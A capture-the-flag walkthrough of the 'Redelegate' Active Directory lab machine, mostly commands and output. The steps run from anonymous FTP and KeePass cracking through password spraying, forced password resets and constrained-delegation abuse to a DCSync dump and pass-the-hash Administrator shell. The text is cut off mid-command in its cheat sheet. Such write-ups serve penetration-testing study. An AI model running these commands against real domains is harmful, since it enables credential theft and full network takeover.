π Redelegate
Machine: Redelegate
Difficulty: Hard
Theme: Anonymous FTP β exposed KeePass vault β weak seasonal master password β SQL local credential β MSSQL RID/domain enumeration β targeted password reuse β Helpdesk ACL abuse β WinRM as Helen β SeEnableDelegationPrivilege + GenericAll over computer object β constrained delegation β DCSync β Administrator shell
π― Summary
Redelegate is a Windows Active Directory machine focused on credential discovery, MSSQL-backed domain enumeration, ACL abuse, and Kerberos constrained delegation.
Initial enumeration shows a domain controller exposing the usual AD services: DNS, Kerberos, LDAP, SMB, RPC, RDP, and WinRM. The interesting non-default services are FTP on port 21 and MSSQL on port 1433.
FTP allows anonymous login and exposes three files: an audit note, a training agenda, and a KeePass database. The training agenda explicitly warns employees against weak passwords following the pattern SeasonYear!. The KeePass database is downloaded in binary mode, converted with keepass2john, and cracked with a small custom season/year wordlist. The recovered vault contains several application and service credentials, including a SQLGuest credential.
The SQLGuest credential does not behave like a domain user. It authenticates locally to MSSQL on the domain controller. The account is low-privileged inside SQL Server: it is not sysadmin, sees only default databases, and xp_cmdshell is disabled. However, MSSQL can still resolve domain SIDs and RIDs. Using an MSSQL domain-account enumeration module reveals valid AD users and groups.
The leaked password pattern is then tested carefully against the discovered users. Instead of spraying the full wordlist, a single high-probability seasonal candidate is tested. This identifies valid domain credentials for Marie.Curie.
Authenticated enumeration with Marie.Curie shows that Marie is a member of the Helpdesk group. BloodHound reveals that Helpdesk has ForceChangePassword over multiple users, including Helen.Frost. Marie is used to reset Helenβs password. Helen is a member of a group that can access WinRM, giving an interactive shell and the user flag.
Helenβs local privileges include SeEnableDelegationPrivilege. BloodHound also shows that Helen is a member of IT, and IT has GenericAll over the FS01$ computer object. Since MachineAccountQuota is 0, creating a new attacker-controlled machine account is not possible. Instead, the existing FS01$ machine account is abused.
The FS01$ machine account password is reset, proving control over the object. Helenβs delegation privilege and control over FS01$ are then used to configure FS01$ for constrained delegation to the DCβs CIFS service. A Kerberos S4U flow is used to obtain a service ticket to cifs/dc.redelegate.vl while impersonating the dc computer account. With that ticket active, secretsdump performs a DCSync-style dump for the Administrator account. The recovered Administrator NT hash is then used with Evil-WinRM to obtain an Administrator shell and read root.txt.
1. Enumeration
Initial scan:
sudo nmap -sC -sV -vv -oA nmap/redelegate [TARGET_IP]Important results:
21/tcp open ftp Microsoft ftpd
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped
3268/tcp open ldap Global Catalog
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0The scan identifies the domain:
redelegate.vl
dc.redelegate.vlThe host is clearly a domain controller.
A full TCP scan is still important:
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/redelegate_portscanThe full scan reveals additional interesting services:
1433/tcp open ms-sql-s
49932/tcp open ms-sql-s / dynamic SQL-related service
9389/tcp open adws
47001/tcp open winrmThe main missed service from the initial scan was MSSQL on port 1433.
Important gotcha:
The default -sC -sV scan did not show MSSQL, while the full-port scan did. The initial scan also showed Nmap increasing send delay because of dropped probes. For this box, the full TCP scan was the better source of truth.
/etc/hosts was configured:
echo "[TARGET_IP] dc.redelegate.vl redelegate.vl dc" | sudo tee -a /etc/hosts2. Anonymous FTP
FTP allowed anonymous login:
ftp [TARGET_IP]Login:
Name: anonymous
Password: anonymousFiles exposed:
CyberAudit.txt
Shared.kdbx
TrainingAgenda.txtAll files were downloaded:
ftp> mget *The KeePass database must be downloaded in binary mode:
ftp> bin
ftp> get Shared.kdbxImportant gotcha:
The first .kdbx download produced an ASCII-mode warning:
WARNING! bare linefeeds received in ASCII mode.
File may not have transferred correctly.For a binary KeePass database, this matters. The file was re-downloaded with FTP binary mode enabled.
3. Exposed Audit and Training Material
CyberAudit.txt contained useful context:
OCTOBER 2024 AUDIT FINDINGS
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLsThe remediation status was also useful:
Prompt users to change their passwords: DONE
Check privileges for all users and remove high privileges: DONE
Remove unused objects in the domain: IN PROGRESS
Recheck ACLs: IN PROGRESSTrainingAgenda.txt contained the key password clue:
"Weak Passwords" - Why "SeasonYear!" is not a good passwordThe training was from October 2024, so the likely weak-password pattern was:
Season + 2024 + !Important gotcha:
This was not a reason to immediately spray the whole domain. At this point there were no confirmed domain usernames yet. The first use of the clue was to attack the KeePass master password offline.
4. KeePass Cracking
The KeePass hash was extracted:
keepass2john Shared.kdbx > kp.hashHashcat rejected the generated hash format:
Salt-value exception
No hashes loadedJohn recognized it correctly:
john --wordlist=/usr/share/wordlists/rockyou.txt kp.hashHowever, a large generic list was unnecessary. A small custom wordlist was created from the training clue:
for s in Spring Summer Autumn Fall Winter; do
for y in $(seq 2018 2025); do
printf '%s%s\n%s%s!\n' "$s" "$y" "$s" "$y"
done
done > season_year.txtThe hash was cracked:
john --wordlist=season_year.txt kp.hash
john --show kp.hashRecovered result:
Shared:[KEEPASS_MASTER_PASSWORD]Important gotchas:
The first John run was blocked because an older RockYou cracking process had left the John recovery file locked:
Crash recovery file is locked: ~/.john/john.recThe solution was to stop the old John process and re-run the small targeted list.
The tiny custom list cracked the vault almost immediately. This was much better than waiting on a broad generic list.
5. KeePass Enumeration
The database was enumerated with keepassxc-cli.
List entries recursively:
keepassxc-cli ls -R Shared.kdbxOutput:
IT/
FTP
FS01 Admin
WEB01
SQL Guest Access
HelpDesk/
KeyFob Combination
Finance/
Timesheet Manager
Payrol AppShow entries with protected fields:
keepassxc-cli show -s Shared.kdbx "IT/SQL Guest Access"Useful recovered entries included:
SQL Guest Access
UserName: SQLGuest
Password: [SQLGUEST_PASSWORD]Other entries appeared to be application or service credentials:
Administrator:[PASSWORD]
WordPress Panel:[PASSWORD]
KeyFob Combination:[VALUE]
Timesheet:[PASSWORD]
Payroll:[PASSWORD]Important gotcha:
Without -s, keepassxc-cli show displays:
Password: PROTECTEDThe -s option means --show-protected, which reveals protected fields.
This option is shown in the subcommand help:
keepassxc-cli show -hImportant gotcha:
The KeePass groups are not filesystem directories. Inside the KeePass CLI prompt, commands like cd and dir do not behave like a shell. The reliable workflow is to run keepassxc-cli ls and keepassxc-cli show from the normal terminal.
6. MSSQL Authentication
The SQLGuest credential looked service-specific, so it was tested against MSSQL instead of assuming it was an AD user.
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-authSuccessful authentication:
[+] DC\SQLGuest:[SQLGUEST_PASSWORD]This confirmed local SQL authentication.
Basic MSSQL checks:
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT SYSTEM_USER;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT USER_NAME();"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin');"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@SERVERNAME;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@VERSION;"Results:
SYSTEM_USER: SQLGuest
USER_NAME(): guest
IS_SRVROLEMEMBER('sysadmin'): 0
@@SERVERNAME: WIN-Q13O908QBPG\SQLEXPRESS
SQL Server 2019 Express Editionxp_cmdshell was disabled:
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';"Output:
value_in_use: 0Important gotcha:
This was not a SQL RCE path. SQLGuest was low privilege, not sysadmin, saw only default databases, and xp_cmdshell was disabled. The useful path was domain enumeration through MSSQL, not command execution.
7. MSSQL RID / Domain Account Enumeration
MSSQL was used to enumerate domain accounts through SID/RID resolution.
Metasploit module:
auxiliary/admin/mssql/mssql_enum_domain_accountsConfiguration:
set rhosts [TARGET_IP]
set rport 1433
set username SQLGuest
set password [SQLGUEST_PASSWORD]
set fuzznum 10000
runImportant output:
SQL Server Name: WIN-Q13O908QBPG
Domain Name: REDELEGATE
Found the domain sid: [DOMAIN_SID]Resolved objects included:
REDELEGATE\DC$
REDELEGATE\FS01$
REDELEGATE\Christine.Flanders
REDELEGATE\Marie.Curie
REDELEGATE\Helen.Frost
REDELEGATE\Michael.Pontiac
REDELEGATE\Mallory.Roberts
REDELEGATE\James.Dinkleberg
REDELEGATE\Helpdesk
REDELEGATE\IT
REDELEGATE\Finance
REDELEGATE\DnsAdmins
REDELEGATE\DnsUpdateProxy
REDELEGATE\Ryan.Cooper
REDELEGATE\sql_svcThe output was saved to mssql_enum.
A clean user list was extracted:
Christine.Flanders
Helen.Frost
James.Dinkleberg
Mallory.Roberts
Marie.Curie
Michael.Pontiac
Ryan.Cooper
sql_svcExample vi filter used to clean the output:
:%!grep -oP 'REDELEGATE\\\K\S+' | grep -E '^[A-Za-z]+\.[A-Za-z]+$|^sql_svc$' | sort -uImportant gotcha:
The MSSQL module enumerates users, groups, computers, and built-ins. The spray list should not include groups, machine accounts, or built-in objects.
8. Targeted Password Reuse
At this point, the training material had provided a weak password pattern, and MSSQL had provided valid domain usernames.
The first instinct might be to spray the entire season_year.txt list:
nxc smb [TARGET_IP] -u users.txt -p season_year.txt --continue-on-successThis is noisy and lockout-risky.
A safer first step was to test only the highest-probability candidate that had already cracked the KeePass database:
nxc smb [TARGET_IP] -u users.txt -p '[SEASONAL_PASSWORD]' --continue-on-successValid credentials were found:
[+] redelegate.vl\Marie.Curie:[SEASONAL_PASSWORD]Important gotcha:
Even in a lab, it is better to think like a real engagement. Eight users times eighty passwords is 640 attempts. A single candidate across eight users is much cleaner.
nxc syntax gotcha:
The target must come before or after options depending on habit, but it must be included:
nxc smb [TARGET_IP] -u users.txt -p '[PASSWORD]' --continue-on-successIf the target is omitted, nxc returns:
error: the following arguments are required: target9. Authenticated Enumeration as Marie
Validate Marie:
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc winrm [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'Results:
SMB: valid
LDAP: valid
WinRM: failedShares:
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --sharesOutput:
IPC$ READ
NETLOGON READ
SYSVOL READUsers:
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --usersUseful output:
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svcGroups:
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --groupsMachine Account Quota:
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -M maqOutput:
MachineAccountQuota: 0Important gotcha:
MachineAccountQuota: 0 means the normal βcreate a new computer accountβ path is not available. This becomes important later when abusing an existing computer object instead.
10. BloodHound / RustHound Collection
RustHound-CE was used with Marieβs credentials:
rusthound-ce --domain redelegate.vl -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -zOutput:
12 users parsed
64 groups parsed
2 computers parsed
1 domains parsed
2 gpos parsed
20260608203555_redelegate-vl_rusthound-ce.zip createdThe zip was imported into BloodHound.
Important graph findings:
Marie.Curie β MemberOf β Helpdesk
Helpdesk β ForceChangePassword β Helen.Frost
Helen.Frost β MemberOf β IT
IT β GenericAll β FS01The first practical path was:
Marie.Curie
β
Helpdesk
β ForceChangePassword
Helen.FrostHelen was also a member of a group that could use WinRM.
Important gotcha:
Do not rely only on βShortest Paths to Domain Admin.β For this box, manually inspecting first-degree group membership and outbound object control was more useful.
11. ForceChangePassword Abuse: Marie to Helen
Because Helpdesk had ForceChangePassword over Helen.Frost, Marie could reset Helenβs password.
bloodyAD --host dc.redelegate.vl \
-d redelegate.vl \
-u Marie.Curie \
-p '[MARIE_PASSWORD]' \
set password Helen.Frost '[NEW_HELEN_PASSWORD]'Output:
[+] Password changed successfully!Validate Helen:
nxc smb [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'
nxc ldap [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'
nxc winrm [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'WinRM succeeded.
Shell:
evil-winrm -i redelegate.vl -u Helen.Frost -p '[NEW_HELEN_PASSWORD]'User flag:
cd C:\Users\Helen.Frost\Desktop
type user.txtImportant gotcha:
PowerShell on this target did not accept && as a command separator:
cd ..\Desktop && type user.txtError:
The token '&&' is not a valid statement separator in this version.Use ; instead:
cd ..\Desktop; type user.txtImportant gotcha:
Changing another userβs password is disruptive. In HTB it is expected. In a real engagement, this requires explicit authorization and should be documented clearly.
12. Helen Enumeration
Inside Evil-WinRM:
whoami
whoami /groups
whoami /priv
hostnameGroup output showed Helen was in:
REDELEGATE\IT
BUILTIN\Remote Management UsersPrivilege output:
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledThe key privilege:
SeEnableDelegationPrivilegeBloodHound showed:
Helen.Frost β MemberOf β IT
IT β GenericAll β FS01Important gotcha:
At first glance, FS01 sounds like a file server to browse. The more important point is that FS01$ is an AD computer object. GenericAll over a computer object can be abused through AD attribute control.
13. Understanding FS01$
FS01$ is a computer account.
Querying it with Get-ADUser is wrong:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName FS01$Error:
A positional parameter cannot be found that accepts argument 'FS01$'.Correct cmdlet:
Import-Module ActiveDirectory
Get-ADComputer -Identity FS01 -Properties ServicePrincipalNameOutput showed the computer object:
Name : FS01
SamAccountName : FS01$
Enabled : True
DNSHostName :
ServicePrincipalName : emptyImportant gotcha:
FS01$ having no SPNs was not a Kerberoasting lead. Computer account passwords are typically long and random. Also, once the password is reset, roasting it is pointless because the password is already known.
The useful idea was not Kerberoasting. The useful idea was delegation.
14. Why Delegation Matters Here
The box gives three important facts:
Helen has SeEnableDelegationPrivilege
Helen is in IT
IT has GenericAll over FS01$This means Helen can modify the FS01$ computer object and configure delegation-related attributes.
Since:
MachineAccountQuota: 0creating a new attacker-controlled computer account is not available. The workaround is to abuse an existing computer account that is already controllable:
FS01$Attack shape:
Control FS01$ as an AD object
β
Reset FS01$ machine account password
β
Configure FS01$ for constrained delegation
β
Allow FS01$ to delegate to a DC-hosted service
β
Use FS01$ credentials to request an impersonated service ticket
β
Use the ticket against the DCImportant gotcha:
RBCD directionality matters. Configuring delegation access to FS01 would not compromise the DC. The useful action was configuring FS01$ to delegate to a DC-hosted service.
15. Resetting the FS01$ Machine Account Password
From Helenβs WinRM shell:
$newPass = ConvertTo-SecureString '[FS01_NEW_PASSWORD]' -AsPlainText -Force
Set-ADAccountPassword -Identity 'FS01$' -Reset -NewPassword $newPassVerify timestamp:
Get-ADComputer -Identity FS01 -Properties PasswordLastSet,pwdLastSet |
Format-List Name,SamAccountName,PasswordLastSet,pwdLastSetOutput:
Name : FS01
SamAccountName : FS01$
PasswordLastSet : [UPDATED_TIMESTAMP]
pwdLastSet : [UPDATED_VALUE]Validate from Kali:
nxc smb [TARGET_IP] -d redelegate.vl -u 'FS01$' -p '[FS01_NEW_PASSWORD]'Successful output:
[+] redelegate.vl\FS01$:[FS01_NEW_PASSWORD]Important gotcha:
Use single quotes around FS01$. Otherwise the shell may interpret $.
Important gotcha:
Resetting a machine account password can break a real machineβs domain trust. In HTB this is fine. In a real environment, this requires explicit approval.
16. DC SPNs and HOST Mapping
The DCβs SPNs were enumerated:
(Get-ADComputer -Identity DC -Properties ServicePrincipalName).ServicePrincipalNameOutput included:
TERMSRV/DC
TERMSRV/dc.redelegate.vl
ldap/dc.redelegate.vl
DNS/dc.redelegate.vl
HOST/DC
HOST/dc.redelegate.vl
HOST/dc.redelegate.vl/redelegate.vl
RestrictedKrbHost/DC
RestrictedKrbHost/dc.redelegate.vlThere was no explicit:
cifs/dc.redelegate.vlThis was not a blocker.
SPN mappings were checked:
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=redelegate,DC=vl" -Properties sPNMappings |
Select-Object -ExpandProperty sPNMappingsOutput showed that HOST maps to many service classes, including cifs:
host=alerter,appmgmt,cisvc,...,cifs,...,www,http,...Important gotcha:
cifs/dc.redelegate.vl does not need to be explicitly listed as a DC SPN when HOST mappings cover it.
17. Configuring Constrained Delegation on FS01$
A Kerberos TGT was requested for Helen:
impacket-getTGT redelegate.vl/Helen.Frost:'[HELEN_PASSWORD]' -dc-ip [TARGET_IP]
export KRB5CCNAME="$(pwd)/Helen.Frost.ccache"
klistExpected:
Default principal: Helen.Frost@REDELEGATE.VLDelegation attributes were modified on FS01$:
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATIONOutput:
[+] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$ userAccountControlThen the allowed delegation target was set:
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'Output:
[+] FS01$'s msDS-AllowedToDelegateTo has been updatedVerify from PowerShell:
Get-ADComputer -Identity FS01 -Properties userAccountControl,msDS-AllowedToDelegateTo |
Format-List Name,SamAccountName,userAccountControl,msDS-AllowedToDelegateToOutput:
Name : FS01
SamAccountName : FS01$
userAccountControl : 16781312
msDS-AllowedToDelegateTo: {cifs/dc.redelegate.vl}Verify the flag:
$uac = (Get-ADComputer -Identity FS01 -Properties userAccountControl).userAccountControl
[bool]($uac -band 0x1000000)Output:
TrueImportant gotcha:
The target object to modify is FS01$, not the DC. The target SPN placed into msDS-AllowedToDelegateTo is the DC-hosted service:
cifs/dc.redelegate.vl18. S4U Ticket Request
A TGT was requested for the controlled machine account:
impacket-getTGT redelegate.vl/'FS01$':'[FS01_PASSWORD]' -dc-ip [TARGET_IP]This created:
FS01$.ccacheSet the Kerberos cache:
export KRB5CCNAME="$(pwd)/FS01\$.ccache"
klistExpected:
Default principal: FS01$@REDELEGATE.VLRequest the delegated service ticket:
impacket-getST 'redelegate.vl/FS01$:[FS01_PASSWORD]' \
-dc-ip [TARGET_IP] \
-spn cifs/dc.redelegate.vl \
-impersonate dcExpected output:
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccacheSet the new Kerberos cache:
export KRB5CCNAME="$(pwd)/dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache"
klistExpected:
Default principal: dc@redelegate.vl
Service principal: cifs/dc.redelegate.vl@REDELEGATE.VLImportant gotcha:
impacket-getST did not create dc.ccache. It created a file named:
dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccacheExporting the wrong filename causes:
klist: No credentials cache foundAlways check:
ls -la *.ccacheand export the exact generated file.
19. DCSync and Administrator Hash
With the delegated CIFS ticket active:
impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user AdministratorSuccessful output:
[*] Dumping Domain Credentials
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[ADMIN_NT_HASH]:::The Administrator Kerberos keys were also dumped.
Important gotcha:
Before running secretsdump, verify the active cache:
klistThe cache must show the delegated service ticket, not Helenβs TGT or FS01βs TGT.
20. Administrator WinRM and Root Flag
Use the recovered NT hash:
evil-winrm -i redelegate.vl -u 'Administrator' -H [ADMIN_NT_HASH]Shell:
*Evil-WinRM* PS C:\Users\Administrator\Documents>Root flag:
cd C:\Users\Administrator\Desktop
type root.txtImportant gotcha:
A previous Evil-WinRM session produced:
WinRM::WinRMAuthorizationErrorThis was not relevant after the Administrator hash was recovered. The final Administrator hash-based WinRM login confirmed full compromise.
π Condensed Attack Chain
Initial scan
β
Domain controller identified
β
Full TCP scan reveals MSSQL on 1433
β
Anonymous FTP login succeeds
β
FTP exposes CyberAudit.txt, TrainingAgenda.txt, Shared.kdbx
β
Shared.kdbx re-downloaded in binary mode
β
TrainingAgenda.txt leaks SeasonYear! weak password pattern
β
KeePass hash extracted with keepass2john
β
Custom season/year wordlist cracks KeePass master password
β
KeePass contains SQLGuest MSSQL credential
β
SQLGuest authenticates locally to MSSQL
β
SQLGuest is not sysadmin and xp_cmdshell is disabled
β
MSSQL RID/domain enumeration reveals AD users and groups
β
User list extracted from MSSQL output
β
Single targeted seasonal password reuse test finds Marie.Curie
β
Marie authenticates to SMB/LDAP but not WinRM
β
RustHound/BloodHound collection as Marie
β
Marie is member of Helpdesk
β
Helpdesk has ForceChangePassword over Helen.Frost
β
Marie resets Helenβs password
β
Helen has WinRM access
β
user.txt recovered from Helenβs Desktop
β
Helen is member of IT
β
Helen has SeEnableDelegationPrivilege
β
IT has GenericAll over FS01$
β
FS01$ machine account password reset
β
FS01$ authentication confirmed
β
FS01$ configured with TRUSTED_TO_AUTH_FOR_DELEGATION
β
msDS-AllowedToDelegateTo set to cifs/dc.redelegate.vl
β
S4U2Self/S4U2Proxy ticket requested as FS01$ impersonating dc
β
Delegated CIFS ticket exported as active KRB5CCNAME
β
secretsdump performs DCSync for Administrator
β
Administrator NT hash recovered
β
Evil-WinRM as Administrator
β
root.txt recoveredπ§ Key Takeaways
Anonymous FTP on a domain controller is high impact. Even small files can expose internal process, audit status, password patterns, or credential material.
Binary files must be downloaded in binary mode over FTP. The KeePass database produced an ASCII-mode warning on first download, so it had to be re-downloaded correctly.
Training material can be offensive intelligence. The phrase SeasonYear! directly informed the KeePass cracking strategy and later targeted password reuse testing.
Targeted wordlists beat generic brute force. The KeePass vault cracked quickly with a tiny custom list instead of waiting on RockYou.
KeePass CLI hides passwords by default. Use keepassxc-cli show -s to reveal protected fields.
Credentials should be classified before testing. SQLGuest looked like a SQL-local credential, not a domain user, and testing it against MSSQL was the right move.
Low-privileged MSSQL can still be useful. Even without sysadmin, app databases, or xp_cmdshell, MSSQL enabled domain SID/RID enumeration.
The full TCP scan mattered. MSSQL was not shown in the initial default service scan, but it was found by the full port scan.
Password spraying should be lockout-aware. Testing one high-probability password across discovered users was cleaner than spraying the full custom list.
BloodHound edges require interpretation. ForceChangePassword led to Helen. GenericAll over FS01$ did not mean βbrowse a file shareβ; it meant control of an AD computer object.
MachineAccountQuota changed the approach. Since MAQ was 0, creating a new computer object was unavailable. Controlling the existing FS01$ object solved that problem.
FS01$ is a computer account, not a user. Use Get-ADComputer, not Get-ADUser.
Kerberoasting was a rabbit hole here. Adding an SPN to FS01$ and roasting it would not be useful because computer account passwords are usually not crackable, and after a reset the password is already known.
Delegation direction matters. RBCD on FS01$ would grant delegated access to FS01, not to the DC. The useful path was constrained delegation from FS01$ to a DC service.
HOST SPN mappings matter. cifs/dc.redelegate.vl did not appear explicitly in the DCβs SPNs, but HOST mappings covered CIFS.
Kerberos cache handling matters. getST saved the ticket to a long filename, not dc.ccache. The exact generated ccache file had to be exported before running secretsdump.
SeEnableDelegationPrivilege is extremely dangerous when combined with object control. Helenβs privilege plus GenericAll over FS01$ enabled constrained delegation abuse and domain compromise.
β‘ Commands Cheat Sheet
Host setup
echo "[TARGET_IP] dc.redelegate.vl redelegate.vl dc" | sudo tee -a /etc/hostsNmap
sudo nmap -sC -sV -vv -oA nmap/redelegate [TARGET_IP]
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/redelegate_portscan
sudo nmap -sC -sV -p 1433,49932 [TARGET_IP] -oA nmap/redelegate-mssqlFTP
ftp [TARGET_IP]Inside FTP:
anonymous
anonymous
ls
bin
mget *
get Shared.kdbx
byeKeePass cracking
keepass2john Shared.kdbx > kp.hash
for s in Spring Summer Autumn Fall Winter; do
for y in $(seq 2018 2025); do
printf '%s%s\n%s%s!\n' "$s" "$y" "$s" "$y"
done
done > season_year.txt
john --wordlist=season_year.txt kp.hash
john --show kp.hashKeePass enumeration
keepassxc-cli ls -R Shared.kdbx
keepassxc-cli show -s Shared.kdbx "IT/SQL Guest Access"
keepassxc-cli show -s Shared.kdbx "IT/FTP"
keepassxc-cli show -s Shared.kdbx "IT/FS01 Admin"
keepassxc-cli show -s Shared.kdbx "IT/WEB01"
keepassxc-cli show -s Shared.kdbx "HelpDesk/KeyFob Combination"
keepassxc-cli show -s Shared.kdbx "Finance/Timesheet Manager"
keepassxc-cli show -s Shared.kdbx "Finance/Payrol App"MSSQL validation
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT SYSTEM_USER;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT USER_NAME();"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin');"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@SERVERNAME;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@VERSION;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';"MSSQL domain account enumeration
Metasploit:
msfconsole
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhosts [TARGET_IP]
set rport 1433
set username SQLGuest
set password [SQLGUEST_PASSWORD]
set fuzznum 10000
runClean MSSQL output into users
Inside vi:
:%!grep -oP 'REDELEGATE\\\K\S+' | grep -E '^[A-Za-z]+\.[A-Za-z]+$|^sql_svc$' | sort -u
:w users.txt
:q!Fallback without grep -P:
:%!awk -F'REDELEGATE\\\\' '/REDELEGATE\\\\/ {print $2}' | awk '{print $1}' | grep -E '^[A-Za-z]+\.[A-Za-z]+$|^sql_svc$' | sort -u
:w users.txt
:q!Password reuse testing
Safer one-password test:
nxc smb [TARGET_IP] -u users.txt -p '[SEASONAL_PASSWORD]' --continue-on-successLDAP alternative:
nxc ldap [TARGET_IP] -u users.txt -p '[SEASONAL_PASSWORD]' --continue-on-successMarie validation
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc winrm [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --shares
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --users
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --groups
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -M maqRustHound-CE
rusthound-ce --domain redelegate.vl -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -zReset Helen password
bloodyAD --host dc.redelegate.vl \
-d redelegate.vl \
-u Marie.Curie \
-p '[MARIE_PASSWORD]' \
set password Helen.Frost '[NEW_HELEN_PASSWORD]'Helen access
nxc winrm [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'
evil-winrm -i redelegate.vl -u Helen.Frost -p '[NEW_HELEN_PASSWORD]'Inside Evil-WinRM:
whoami
whoami /groups
whoami /priv
hostname
cd C:\Users\Helen.Frost\Desktop
type user.txtAD computer enumeration
Import-Module ActiveDirectory
Get-ADComputer -Identity FS01 -Properties ServicePrincipalName
Get-ADComputer -Identity FS01 -Properties userAccountControl,msDS-AllowedToDelegateTo,msDS-AllowedToActOnBehalfOfOtherIdentity |
Format-List Name,SamAccountName,DNSHostName,ServicePrincipalName,userAccountControl,msDS-AllowedToDelegateTo,msDS-AllowedToActOnBehalfOfOtherIdentity
(Get-ADComputer -Identity DC -Properties ServicePrincipalName).ServicePrincipalNameSPN mappings:
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=redelegate,DC=vl" -Properties sPNMappings |
Select-Object -ExpandProperty sPNMappingsReset FS01$ password
$newPass = ConvertTo-SecureString '[FS01_NEW_PASSWORD]' -AsPlainText -Force
Set-ADAccountPassword -Identity 'FS01$' -Reset -NewPassword $newPass
Get-ADComputer -Identity FS01 -Properties PasswordLastSet,pwdLastSet |
Format-List Name,SamAccountName,PasswordLastSet,pwdLastSetVerify from Kali:
nxc smb [TARGET_IP] -d redelegate.vl -u 'FS01$' -p '[FS01_NEW_PASSWORD]'Configure delegation
Get Helen TGT:
impacket-getTGT redelegate.vl/Helen.Frost:'[HELEN_PASSWORD]' -dc-ip [TARGET_IP]
export KRB5CCNAME="$(pwd)/Helen.Frost.ccache"
klistSet delegation properties:
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
